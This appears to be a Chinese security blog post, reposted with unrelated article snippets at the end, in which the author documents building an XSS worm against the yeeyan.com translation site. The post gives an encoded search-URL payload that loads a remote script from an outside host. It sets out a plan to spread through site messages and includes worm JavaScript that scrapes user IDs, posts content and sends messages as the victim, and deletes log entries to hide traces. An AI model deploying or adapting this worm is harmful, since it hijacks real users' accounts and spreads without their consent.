Search Engine XSS Worm_漏洞研究

译言http://www.yeeyan.com/是一个“发现、翻译、阅读中文之外的互联网精华”的web2.0网站,过滤系统真BT,不过其搜索引擎存在跨站,它的搜索引擎也真够BT,转义单引号、双引号,并且当搜索值含英文冒号:时就不返回搜索结果。于是我只能这样构造:

http://www.yeeyan.com/main/ysearch?q=%3Cs%63%72ipt%3Eeval(%53%74ring.f%72om%43%68ar%43ode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,48,120,51,55,46,99,111,109,47,121,121,46,106,115,62,60,47,115,99,114,105,112,116,62,39,41))%3C/s%63%72ipt%3E

本来搜索引擎跨站没什么好玩的,但这次在yeeyan这就可以利用这个易被忽略点来诞生个XSS WORM。蠕虫要诞生必须解决以下几点:

Q1、上面这个Search Engine XSS Trap如何包含远程蠕虫?

A1、因为蠕虫的代码会很多,不可能一次性出现在这个XSS Trap中(对比:复制自身的微型XSS Worm),所以要想办法利用这个XSS Trap来调用远程蠕虫。方法很多,你解码这个XSS Trap就知道我的方法:)

Q2、如何让其他验证用户访问这个Search Engine XSS Trap?

A2、 先给某几位用户发站内信(借用蠕虫本身就可以批量发送:)),欺骗其访问,一旦他们访问,则这个XSS Trap会调用远程蠕虫,蠕虫会获取他们的好友信息与他们的信箱信息等等,这里面都有其他用户的信息。于是这个Search Engine XSS Trap就可以随站内信系统大量传播。

Q2、蠕虫如何获取访问Search Engine XSS Trap的用户标志信息?

A3、这点很重要,蠕虫的传播是要很多宿主的,要获得这些宿主就必须能够很清晰地获取特定用户标志信息,比如他的ID、他的空间地址等等。蠕虫一旦传播开,那就是爆发式的:)。

这些问题我都解决了,于是yeeyan的这个Search Engine XSS Worm就成功诞生。蠕虫部分代码如下:

var _x=false;
if(window.XMLHttpRequest){
_x=new XMLHttpRequest();
}else if(window.ActiveXObject){
_x=new ActiveXObject("Msxml2.XMLHTTP");
if(!_x){_x=new ActiveXObject("Microsoft.XMLHTTP");}
}
_1();
function _1(){
var _u=_3or7("GET","http://www.yeeyan.com/space/showme",null);
re=/\<a href=\"\/space\/groups\/(.*?)\">/i
r=_u.match(re);
src="http://www.yeeyan.com/groups/newTopic/";
var _txt="HELLO YEEYAN.";
argv_1="\r\n";
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[Post][content]\"\r\n\r\n";
argv_1+=(_txt+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsggroup\"\r\n\r\n";
argv_1+=(""+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee\"\r\n\r\n";
argv_1+=(r[1]+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"ymsgee_username\"\r\n\r\n";
argv_1+=(r[1]+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5--\r\n";
_3or7("POST",src,argv_1);
var _del=_3or7("GET","http://www.yeeyan.com/space/deleteEvent/15429",null);
//删除记录只需这样即可:)
_2();
}
function _2(){
src="http://www.yeeyan.com/space/compose_message";
var _to="Yasmin";
var _s="yeeyan";
var _m="HELLO:)"
argv_1="\r\n";
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[receiver_name]\"\r\n\r\n";
argv_1+=(_to+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[subject]\"\r\n\r\n";
argv_1+=(_s+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message][content]\"\r\n\r\n";
argv_1+=(_m+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[message_id]\"\r\n\r\n";
argv_1+=(""+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"data[action]\"\r\n\r\n";
argv_1+=("send"+"\r\n");
argv_1+="---------------------7964f8dddeb95fc5--\r\n";
_3or7("POST",src,argv_1);
alert(0);
}
function _3or7(_m,_s,_a){
_x.open(_m,_s,false);
if(_m=="POST")_x.setRequestHeader("Content-Type","multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
_x.send(_a);
return _x.responseText;
}要理解这些代码可以参考我以前的文章,这里有线索:http://www.0x37.com/post/2.html。我写这个蠕虫的目的是验证http://www.0x37.com/post/2.html我 的这篇文章提到的方法,我只能说老外有点不负责任:),我还得重新编码,这个方法理论上是行得通的,只是我目前遇到了点麻烦。还是构造HTTP消息头来 POST蠕虫信息爽。借用搜索引擎来诞生蠕虫,我还是第一次这样做。只要满足XSS Trap与目标攻击点在严格的同域内就OK。

时间: 2024-09-12 09:53:18

Search Engine XSS Worm_漏洞研究的相关文章

跨站脚本说明_漏洞研究

以前看过分析家写过一篇文章,介绍跨站脚本的安全隐患,当时只是知道有这样的   问题,也没有仔细阅读,目前此类问题经常在一些安全站点发布,偶刚好看到这样一篇文章   ,   抱着知道总比不知道好的想法,翻译整理了一下,原文在偶主页的collection目录里,错误   之处请   多多指点.   OK,go............   什么是跨站脚本(CSS/XSS)?   我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该   页面是可信赖的,但是当浏览器下

Search Engine Friendly的URL设计_php基础

Search Engine Friendly的URL设计 版权声明:可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息及本声明http://www.chedong.com/tech/google_url.html 关键词:"url rewrite" mod_rewrite isapirewrite path_info "search engine friendly" 内容摘要: 此外随着互联网上的内容以惊人速度的增长也越来越突出了搜索引擎的重要性,如果

针对CVE-2015-2545漏洞研究分析

本文讲的是针对CVE-2015-2545漏洞研究分析, 1. 概述 这是一种MSOffice漏洞,允许通过使用特殊的 Encapsulated PostScript (EPS)图形文件任意执行代码.这种漏洞于2015年3月被发现,漏洞未修补情况持续了4个月.之后,微软发布了修复补丁(MS15-099),解决了这一安全问题. 漏洞发布时间:2015-09-08     漏洞更新时间:2015-09-08 影响系统 Microsoft Office 2007 SP3 Microsoft Office

第一本Flash SEO书?Search Engine Optimization for Flash

  原来我们在做Flex或Flash应用的时候,都会谈及搜索方面的问题,然后采用一些非常规的技术来达到我们的效果 当然,随着Flash的发展,也开始不断地在SEO方面进行了支持. 今天看到这本书,应当值得关注一下: Search Engine Optimization for Flash -Best practices for using Flash on the web Oreilly:http://oreilly.com/catalog/9780596157272/index.html

Search Engine Friendly的URL设计-搜索引擎技术

此外随着互联网上的内容以惊人速度的增长也越来越突出了搜索引擎的重要性,如果网站想更好地被搜索引擎收录,网站设计除了面向用户友好(User Friendly)外,搜索引擎友好(Search Engine Friendly)的设计也是非常重要的.进入搜索引擎的页面内容越多,则被用户用不同的关键词找到的几率越大.在Google的算法调查一文中提到一个站点被Google索引页面的数量其实对PageRank也是有一定影响的.由于Google 突出的是整个网络中相对静态的部分(动态网页索引量比较小),链接地

再探九酷网络个人主页空间管理系统_漏洞研究

本文作者:玄猫[B.C.T]  本文原发表于<黑客X档案>2005年第7期,网上首发地址为B.C.T(http://www.cnbct.org/showarticle.asp?id=495)和黑色森林(http://www.blackwoosd.cn)  本文版权归<黑客X档案>和作者杂志社所有   --------------------------------------------------------------------------------  玄猫在2004年12

当备份数据库不能用时.用邮件列表得到WEBSHELL!(图)_漏洞研究

今天上午闲着无聊,刚好一个朋友发过来一个网站的后台管理密码.他要我帮他看看.我说你得到后台了.可以用备份数据库功能得到WEBSHELL啊.你还发过来干嘛.他说后台有数据备份的选项.但是不能用.大家看一下图!  列表得到WEBSHELL!(图)_漏洞研究-数据库备份拿shell">  里面有备份的选项.但是点了之后出现错误!应该是管理员把文件改名了.或者是位置改变了.不能备份数据库,那怎么办,不能白白的浪费这样的一个机会.我就在后台里面到处看了一下.发现可以通过改网站注册用户的邮件地址.我们

美国智库兰德公司“0day漏洞”研究证明“囤货”没有那么可怕

3月12日讯 美国著名智库机构兰德公司(RAND,以军事为主的综合性战略研究机构)当地时间上周四发布的研究报告称,近期对超过200个"零日漏洞"进行了研究和统计分析,囤积最新发现的"零日漏洞"并没有普遍认为的那么危险,因为其它人发现这些漏洞的几率很小.这项结果颠覆了人们对漏洞披露和囤积软件漏洞的传统认知. 美国智库兰德公司"0day漏洞"研究证明"囤货"没有那么可怕 - E安全 这项研究是首个公开发布的此类研究,其目的旨在检验

最新的黑客技术:XSS跨站脚本攻击详细介绍_漏洞研究

总体上介绍 简单介绍什么是XSS攻击 如何寻找XSS漏洞 对于XSS攻击的总体思路 来自内部的攻击: 如何寻找内部的XSS漏洞 如何构造攻击 如何利用 结何实例攻击,如DVBBS&BBSXP 来自外部的攻击 如何构造XSS攻击 如何欺骗管理员打开 XSS与其它技术的结何 与mssql injection的结合 QQ跨站的结何 国内大型统计网站的跨站漏洞 社会工程学 制作恐怖的flash木马 制作方法由李丰初写 总结  正文: XSS总体介绍 什么是XSS攻击 XSS又叫CSS  (Cross S